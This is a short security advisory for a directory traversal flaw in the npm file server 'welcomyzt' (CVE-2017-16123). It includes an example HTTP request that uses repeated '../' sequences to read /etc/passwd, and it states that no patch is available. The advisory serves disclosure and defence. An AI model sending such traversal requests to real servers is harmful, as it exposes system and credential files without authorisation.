GHSA-8fv7-vm2p-5495

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GHSA-8fv7-vm2p-5495

Summary: Directory Traversal in welcomyzt

Details: `welcomyzt` is a simple file server. `welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url. **Example request:** ```http GET /../../../../../../../../../../etc/passwd HTTP/1.1 host: localhost ``` and server Response: ```http HTTP/1.1 200 OK Date: Thu, 04 May 2017 23:59:18 GMT Connection: keep-alive Transfer-Encoding: chunked {contents of /etc/passwd} ``` ## Recommendation No patch is available for this vulnerability. It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

References: https://nvd.nist.gov/vuln/detail/CVE-2017-16123, https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/pooledwebsocket, https://www.npmjs.com/advisories/388